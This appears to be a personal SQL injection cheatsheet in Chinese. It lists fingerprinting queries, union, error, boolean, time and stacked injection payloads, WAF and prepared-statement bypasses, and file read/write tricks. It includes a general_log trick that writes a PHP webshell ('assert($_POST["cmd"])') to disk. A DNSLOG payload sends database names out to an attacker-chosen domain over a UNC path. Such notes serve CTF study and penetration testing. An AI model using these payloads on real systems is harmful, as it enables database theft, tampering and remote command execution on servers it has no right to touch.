---
title: 'SQLI 筆記'
disqus: cjiso
tags: cheatsheet
---
SQL Injection
===
:::spoiler 目錄
[TOC]
:::
- [PayloadsAllTheThings/SQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
# sqlmap
- [usage](https://github.com/sqlmapproject/sqlmap/wiki/Usage)
- [mssqlserver](https://github.com/sqlmapproject/sqlmap/tree/master/plugins/dbms/mssqlserver)
# 資料庫辨別
> #1 利用系統特有變數去測試是否觸發 error
> #2 用註解辨別
- mysql
- https://dev.mysql.com/doc/refman/8.0/en/
- current_user(),system_user()
- 註解:`#`
- postgresql
- https://www.postgresql.org/docs/9.1/
- current_database()
- Transact-SQL(mssql)
- [sqlmap - fingerprint](https://github.com/sqlmapproject/sqlmap/blob/master/plugins/dbms/mssqlserver/fingerprint.py#L85): `UNICODE(SQUARE(NULL)) IS NULL`
- `@@ROWCOUNT`
# 註釋和空白
- https://dev.mysql.com/doc/refman/8.0/en/comments.html
> mysql `-- ` 有空格避免 1--4 減負數
| | MySQL | Oracle | MSSQL |
| --------- | --------- | --------- | --------- |
|注释符 | `/*`、`/*!*/`、`/**/`、`#`、`/*!${[0-9]{5}} ${command}*/`、`-- ` |`--`、`/**/` |`--`、`/**/`、`--%0a-
|空白字符 | %09%0A%0B%0C%0D%20 | %00%09%0A%0B%0C%0D%20 | %00-%20|
- mysql
- https://dev.mysql.com/doc/refman/8.0/en/comments.html
- `/*!${[0-9]{5}} ${command}*/` 版本大於${[0-9]{5}} 執行 ${command}
- `-- ` -- 後需要有至少一空白或控制字元
- `#`
- Oracle
- https://docs.oracle.com/cd/B13789_01/server.101/b10759/sql_elements006.htm
- `/**/`
- `--`
- MSSQL/Transact-SQL
- https://docs.microsoft.com/zh-tw/sql/t-sql/language-elements/comment-transact-sql?view=sql-server-ver16
- `/**/`
- `--`
# config location
- config file
- `/etc/mysql/my.cnf`
- data dir
- `/var/lib/mysql`
# 基本資料庫端操作
- 只能在資料庫的 shell 使用
- 顯示所有資料庫: `show databases;`
- 使用資料庫: `use $database;`
- 顯示表格: `show tables [from $database];`
- 顯示欄位: `show columns from [$database.]$table;`
- 顯示使用者權限: `show grants [for $user@$host];`
- 顯示全域變數: `show global variables;`
# 基本 CRUD
- 建立資料庫: `create database $database;`
- 刪除資料庫: `drop database $database;`
- 建立表格: `create table $table ($column1 $type, ...) [from $database];`
- 刪除表格: `drop table $table [from $database];`
- 新增資料: `insert into $table($column1, $column2...) values($value1, $value2...);`
- 讀取資料: `select $column1,$column2... from [$database.]$table;`
- 更新資料: `update $table [from $database] set $column1=$value1,... [condition];`
- 刪除資料: `delete from [$database.]$table [condition];`
# 常用 leak 語句
- 當前使用者: `user();`
- 當前資料庫: `database();`
- 所有資料庫: `select schema_name from information_schema.schemata;`
- 資料庫版本: `version();`
- 資料庫路徑: `@@datadir;`
- 資料表: `select table_name from information_schema.tables where table_schema=database();`
- 欄位名: `select column_name from information_schema.columns where table_schema=$database and table_name=$table`
# 常用過濾&條件
- where: `select name from users where id=1;`
- limit:;`select name from users limit $start,$count;`
- limit 作用在同一層 select 上
- `select (select id from users limit 0,1)id,name as ji from users limit 0,3;`
- like:
- regexp: `select name from users where id regexp '^ji..$';`
- if: `if(expression, true:,false:);`
# 基本跳脫
- query: `select * from users where id='$id';`
- id=;`' or '1'='1;` => `select * from users where id='' or '1'='1';`
- query: `select * from users where id=('$id');`
- id=;`') or '1'=('1;` => `select * from users where id='' or '1'=('1');`
# leak 流程
- Null 找欄位數
- 測型態
- 庫名
- `select database()`
- 表名
- 欄位名
# schemata、metadata
- [mysql](https://dev.mysql.com/doc/refman/5.7/en/information-schema-schemata-table.html)
- information_schema
- schemata
- schema_name
- tables
- table_name
- table_schema
- [oracle](https://docs.oracle.com/en/database/oracle/oracle-database/21/drdag/all_tables-drda-gateway.html)
- ALL_TABLES
- OWNER
- TABLE_NAME
- ALL_TABLE_COLUMNS
- COLUMN_NAME
# Union-based
- 原理: 透過 union select 夾帶查詢到的資料
- 條件: 可以注入,顯示查詢資料
- 必須和前面同 column num
- 要允許重複值使用 union all select
### payload
- ` union select user(),version(),database();`
# Blind Injection
- 情境: 不直接顯示查詢結果
## !Error-based
- 原理: 製造 error 讓資料夾帶在 error 回報裡
- 條件: 頁面顯示 error 訊息
- 參考: https://uknowsec.cn/posts/notes/MySQL%20Error%20Based%20SQL%20Injection%20%EF%BC%88%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5%EF%BC%89%E6%80%BB%E7%BB%93.html
- 思路
- branch + 1/0
- Oracle: `to_char(1/0)`
- MS: `1/0`
- PostgreSQL: `cast(1/0 as text)`
- branch + select too more: `SELECT IF (${COND}, (SELECT 1,2), 'a')`
### payload
- count() floor() group by >=4.1, <5.7.26 : `(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);`
- 因為 group_by 會做兩次操作去取 key 值,第一次查 key 值是否存在,第二次取 key 值做插入,若是兩次 key 值不一樣則可以讓插入產生錯誤
- [你的PoC和EXP可能得改改了](https://www.freebuf.com/articles/web/207998.html)
- extractvalue() >= 5.1.5 : `extractvalue(1,concat("]",(select user())));`
- name_const() >= 5.1.5: `select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;`
- 因為 name_const 可以建立含相同的 column name 的 table 導致 `select *` 取值出錯
- updatexml() >= 5.1.5: `updatexml(1,concat("]",(select user())),1);`
- exp() 版本 > 5.5: `exp(~(select * from(select user())a));`
## Boolean-based
- 原理: expression 的 true/false 造成回傳內容不同,用來判斷 true/false
- 條件: 回傳內容有判斷 true/false 的依據
- 速度慢,善用二分搜
### 常用函數
- 假設 version() = '10.3.15-MariaDB-1'
- if: `if(expression, true: a,false: b);`
- like:
- regexp: `version() regexp '^10.3';` = true
- left: `left(version(),3);` = '10.3'
- mid: `mid(version(),2,5);` = '0.3.1'
- right: `right(version(),5);` = 'aDB-1';
- ascii: `ascii('a');` = '97'
- ord: 同 ascii
## Time-based
- 原理: 藉由 expression 的 true/false 造成不同時間差判斷 true/false
- 條件: 可使用 sleep, benchmark, 笛卡爾積
- 參考: https://www.cdxy.me/?p=789
| db | command |
| -------- | -------- |
| Oracle | dbms_pipe.receive_message(('a'),10)|
| MS | WAITFOR DELAY '0:0:10' |
| PostgreSQL| pg_sleep(10)|
| MySQL | sleep(10)|
### payload
- sleep() : `1'='1' and (boolean expression) and sleep(1);`
- benchmark() : `1'='1' and (boolean expression) and benchmark(10000000,sha(1));`
- 笛卡爾積 : `SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;`
- 笛卡爾乘積是指在數學中,兩個集合X和Y的笛卡尓積(Cartesian product),又稱直積,表示為X × Y,第一個物件是X的成員而第二個物件是Y的所有可能有序對的其中一個成員 。
- get_lock() : `select get_lock('karma',1);`
- 條件: mysql_pconnect 查詢
- rlike : `select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');`
- 通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。
## Stacked Injection
- 原理: 透過`;`串接複數查詢語句
- 條件: 使用 `mysql_multi_query`
- 可以做 CRUD
### payload
- `; insert into users(id, name) values(7122,'jizz');;`
# 檢測設定&權限
- 檢測當前權限
- `select @@GLOBAL.secure_file_priv`
- `show grants`: current user, 查看自身權限時不需要其他權限
- `select * from information_schema.user_privileges`: global
- FILE: 讀寫
- 所有資料庫設定: `select * from information_schema.global_variables[where variable_name=$varName and variable_value=$varValue];`
- 資料庫可不可寫: `select @@secure_file_priv;`, `show variables `
- Null: 不可讀寫
- 路徑: 限制讀寫位置
- empty: 沒限制
- 所有權限欄位名: `select column_name from information_schema.columns where table_schema='mysql' and table_name='user';`
- 讀寫權限: `select File_priv from mysql.user where concat(user,'@',host)=user();`
- 幾個重要欄位: `host, user, password, (select|insert|update|delete|create|drop|file)_priv`
- Y or N
## 寫檔/write
- `into` 受 `secure_file_priv` 限制: `select ... into outfile $absPath [terminated by ...];`
- `dumpfile`: no formatting
- `outfile`: formatting
- `@var_list`: 存到 variable,
- 可寫位置 `@@datadir`
- 從前面column寫入或是terminated by寫入
- general_log 不受 `secure_file_priv` 限制
```
# from kaibro
SET global general_log='on';
SET global general_log_file='/tmp/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';
```
- slow_query_log 不受 `secure_file_priv` 限制
```
SET GLOBAL slow_query_log=1;
SET GLOBAL slow_query_log_file='/tmp/cmd.php';
SELECT '<?php echo 7122;?>' or sleep(11);
```
## 讀檔/read
- `load_file()` :`select 1,2,load_file($absPath);`
- `load data infile`: `select load data infile $absPath .....`
## 思路
- secure_file_priv 要在可訪問的路徑上才可能訪問shell,~~否則試著覆寫設定達到~~ 該設定不可變動
- 資料沒顯示在前台時,寫入 web 目錄再訪問
# security options / 安全配置
- [summary](https://dev.mysql.com/doc/refman/5.7/en/security-options.html): 配置位置、影響範圍等等
## [secure_file_priv](https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_secure_file_priv)
- 不可變動
- 有三個值
- 空的: 無任何限制
- /path: 限制 import/export 位置
- NULL: 無法 import/export
> MariaDB 沒有 NULL 這個配置,所以預設可寫任何位置... [ref](https://mariadb.com/kb/en/server-system-variables/#secure_file_priv)
## ssl_cert
- 可變動,可能用來 read file 嗎?
# !DNSLOG
- Windows 下 UNC
### payload
- `load_file(concat('\\',(select database()),$domain)`
# WAF Bypass
- https://dev.mysql.com/doc/refman/5.7/en/string-literals.html
## mysql繞過
- 刪除型過濾:uniunionon
- 大小寫:SelEcT
- 註解 bypass comments: `/*!{cmd}*/`
- 拼接:
- `select 'a' 'b' 'c';`
## mysql替代
- 空白 <space>
- %a0 空格
- %0a 新行
- %0b 垂直tab
- %09 水平tab
- %0c 新頁
- %0d return
- %20
- /**/
- `select/**/*/**/from/**/users;`
- ()
- `and(1=0)`
- 逗號 ,
- join
- `select * from (select user())a join (select version())b join (select database())c;`
- `limit a,b == limit b offset a`
- `mid(c, a, b) == mid(c from a for b) == substr(c from a for b) == right(left(c, a+b-1),b)`
- `having`, `where`
- `select * from user where name='cjiso';`
- `select * from user having name='cjiso';`
- `substr` < `insert`
- `select substr('abcde',1,3),insert('abcde',4,2,'');`
- `in` > `=`
- `select * from user where 'cjiso'in(username);`
- `select * from user where 'cjiso'=username;`
- `sleep` > `if`
- `select sleep((1=1*)3);`
- `select if(1=1,sleep(3),Null)`
- `select`
- mysql 8 新語法 `TABLE`, `VALUES`
- https://www.anquanke.com/post/id/231627
- `..... where (table user limit 1) > row(1,1,1,1,1,1.....)`
- 編碼
- ascii:`abcd`
- binary: `0b01100001011000100110001101100100`;`B'01100001011000100110001101100100'`;`b'01100001011000100110001101100100'`
- hex: `0x61626364`;`X'61626364'`;`x'61626364'`
- [_charset_name]'string' [COLLATE collation_name]: `select _latin1'abcd',_utf8'àbcd',n'àbcd',N'àbcd';`
## postgresql 繞過
- string 可以分隔一個空白或是空行
## postgresql 替代
- https://www.postgresql.org/docs/9.1/sql-syntax-lexical.html
- 編碼
- unicode: `U&"\0441\043B\043E\043D"`
## !寬字節注入
- 原理: php 和 sql 編碼不同導致decode時出現歧意
- 條件: 編碼不同
- `%df` 可以吃掉 `\`,繞過php的轉意(`' => \'`)
- utf-8 utf-16 utf-32
## !HPP
- HTTP Parameter Pollution
- 原理: 解析重複參數順序不一致
- 條件: 存在解析重複參數順序不一致
- 情境:
- 雙層架構(Client -> WAF -> Server)中 WAF 和 Server
- GET 和 POST
- 參考:
- https://www.cnblogs.com/backlion/p/8556150.html
- Tomcat -> Apache: Tomcat 解析第一個,Apache解析最後一個
- `?id=1&id=payload`
- 參考表格:
| Web服務器 | 獲取函數| 取到的參數|
|---|---|---|
|PHP/Apache|$_GET("p")|Last|
|JSP/Tomcat|Request.getParameter(“p”)|First|
|Perl(CGI)/Apache|Param(“p”)|First|
|Python/Apache|getvalue("p")|All(List)|
|ASP/IIS|Request.QueryString(“p”)|All (comma-delimited string)|
## Refs
- https://xz.aliyun.com/t/7767
# 注入點
- 依語句順序,在之前的語句可以接更後面的項目,不贅述
## where
- 除了 CRUD 外無限制
## order by
- 不能接 union
- `select 1 order by 1 union select 2;` error
- blind injection
## limit
- 不能接 union
- `select 1 limit 0,1 union select 2;` error
- into outfile
- 需有權限
- procedure
- error
- `procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);`
- time
- 不能用 sleep
- `PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);`
# !length vs char_length
# Mariadb
- secure_file_priv 預設會是空值,並且沒有 `NULL` 可以配置
- MariaDB-only executable comment syntax (starting from MariaDB 5.3.1): `/*M!###### MariaDB-specific code */`
# Sqlite
- https://www.sqlitetutorial.net/sqlite-commands/
# Transact SQL
## syntax
- `SELECT(1)FROM"sys"."tables"`: 無空格
## function
- `SCHEMA_NAME`: schema id to schema name
## system table
- [sys.tables](https://docs.microsoft.com/zh-tw/sql/relational-databases/system-catalog-views/sys-tables-transact-sql?view=sql-server-ver15)
- `name`: table name
- `schema_id`
- `object_id`
- [sys.columns](https://docs.microsoft.com/zh-tw/sql/relational-databases/system-catalog-views/sys-columns-transact-sql?view=sql-server-ver15)
- `name`: column name
- `object_id`: object id of the belonged by
## Framework CVE
### Django
- [CVE-2022-34265](https://github.com/aeyesec/CVE-2022-34265?fbclid=IwAR3uAPreD9QrXLVVUKeICTH5QYJZyaQQvgzVsqAy0_ddjfOe_TD9kmUtPx0)
-
# Refs
- https://xz.aliyun.com/t/7767
# OOB
- webdav UNC
- `\\server[@SSL][@port][\path]`
- if server == IP, send SMB
- if server == domain or has @port, send HTTP `PROPFIND`
- trigger HTTP endpoint without method validation (e.g. PHP)
- s information
- https://www.n00py.io/2019/06/understanding-unc-paths-smb-and-webdav/
- https://learn.microsoft.com/en-us/windows/win32/api/davclnt/nf-davclnt-davgethttpfromuncpath
- https://arxiv.org/ftp/arxiv/papers/1303/1303.3047.pdf
- https://dl.packetstormsecurity.net/papers/general/MySQL_OOB_Hacking.pdf
# 預處理 Prepared Statement
## Simple mode v.s. Extended mode
- https://www.sonarsource.com/blog/double-dash-double-trouble-a-subtle-sql-injection-flaw/
- simple mode 是在 client 端準備好 SQL 再送 server,extended mode 是把 prepared statement 送到 server 才 evaluate
- simple mode 可能實作有問題導致即使用 prepared statement 還是被繞過
## Parameter Injection
- `https://mp.weixin.qq.com/s/MbcbOJPnygU3L4pTU-fgnA`
- 執行順序
- 過濾 user input
- 拼接 user input (e.g. column name)
- **解析 parameter**
- simple mode 建構語句
- PHP PDO 預設 simple mode `PDO::ATTR_EMULATE_PREPARES=true`
> 搞不好 extended mode 也行?
- 注入 `?` 讓 parameter 解析錯誤位置
- 常見: column name 拼接、order by
- ```select `$col` from users where name= ? ;```
- 拼接 `$col` 並且註解後面 `?`: ```select `? ;# `from users where name=?; ```